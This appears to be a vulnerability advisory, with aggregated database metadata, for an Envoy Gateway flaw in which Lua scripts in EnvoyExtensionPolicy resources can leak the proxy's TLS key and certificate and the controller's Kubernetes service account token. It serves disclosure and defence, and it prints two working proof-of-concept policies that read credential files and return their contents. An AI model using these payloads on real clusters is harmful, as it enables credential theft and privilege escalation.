Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.5.7 and 1.6.2, EnvoyExtensionPolicy Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication. This vulnerability is fixed in 1.5.7 and 1.6.2.
Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.5.7 and 1.6.2, EnvoyExtensionPolicy Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication. This vulnerability is fixed in 1.5.7 and 1.6.2.
Envoy Gateway is an open source project for managing Envoy Proxy as a standalone or Kubernetes-based application gateway. Prior to 1.5.7 and 1.6.2, EnvoyExtensionPolicy Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication. This vulnerability is fixed in 1.5.7 and 1.6.2.
### Impact
Envoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the `EnvoyExtensionPolicy` resource. Administrators can use Kubernetes RBAC to grant users the ability to create `EnvoyExtensionPolicy` resources. Lua scripts in policies are executed in two contexts:
* An `EnvoyExtensionPolicy` can be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope.
* Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes.
Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication.
For example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy's XDS client certificates.
```yaml
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: leak
lua:
- type: Inline
inline: |
function envoy_on_response(response_handle)
local cert = io.open("/certs/tls.crt", "r")
local content
if cert then
content = cert:read("*all")
cert:close()
else
content = "file-not-found"
end
local keyfile = io.open("/certs/tls.key", "r")
local contentkey
if keyfile then
contentkey = keyfile:read("*all")
keyfile:close()
else
contentkey = "file-not-found"
end
local keypair = contentkey .. "\n" .. content
response_handle:body():setBytes(keypair)
response_handle:headers():replace("content-length", tostring(#keypair))
response_handle:headers():replace("content-type", "text/plain")
end
```
This execution can lead to arbitrary code execution in the Envoy Gateway controller pod. Attackers can leverage this to achieve privilege escalation. For example, the following `EnvoyExtensionPolicy` will read the Envoy Gateway K8s service account token and return it in an error which will be displayed in the resource status.
```yaml
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: backend
lua:
- type: Inline
inline: |
function envoy_on_response(response_handle)
local token = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r")
local content
if token then
content = token:read("*all")
token:close()
else
content = "file-not-found"
end
io.write(content)
error(content)
end
```
Results in:
```yaml
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
name: lua-leak
[...]
status:
ancestors:
- ancestorRef:
group: gateway.networking.k8s.io
kind: Gateway
name: eg
namespace: default
conditions:
- lastTransitionTime: "..."
message: "Lua: validation failed for lua body in policy with name envoyextensionpolicy/default/lua-leak/lua/0:
failed to validate with envoy_on_response: <string>:622: [REDACTED TOKEN]\nstack
traceback:\n\t[G]: in function 'error'\n\t<string>:622: in function 'envoy_on_response'\n\t<string>:625:
in main chunk\n\t[G]: ?."
```
Attackers can then use this token to steal other secrets, run arbitrary pods in the envoy-gateway-system namespace and delete Envoy Gateway itself.
### Patches
The patch sets secure defaults and addresses lack of guardrails allowing arbitrary Lua execution:
* Runs Lua `Strict` validation by default in Envoy Gateway along with a security hardening module. This module blocks dangerous Lua code that may be executed in proxy and controller pods.
* Renamed `Syntax` to `InsecureSyntax` validation mode to signify that in this validation mode Lua won't be validated for possible security gaps.
* Supports a new `disableLua` option in EnvoyProxy that rejects EnvoyExtenstionPolicies with Lua scripts entirely, blocking the option to execute arbitrary Lua code.
### Workarounds
Envoy Gateway users can create Kubernetes RBAC rules (see [docs](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) that apply on EnvoyExtensionPolicy resources to restrict creation of these Lua policies to trusted namespaces. Note that this restriction will apply to all EnvoyExtensionPolicies, regardless of the extensibility option that is used (Lua, Wasm or Ext-Proc).
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jan 12, 2026, 6:08:22 PM
dateUpdated: Jul 15, 2026, 1:19:24 AM
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Modified
Weakness classifications: CWE-94
Original publisher date fields
published: 2026-01-12T19:16:03.470
lastModified: 2026-07-15T02:18:35.447
1 source CPE criteria · context only
cpe:2.3:a:envoyproxy:gateway:*:*:*:*:*:*:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.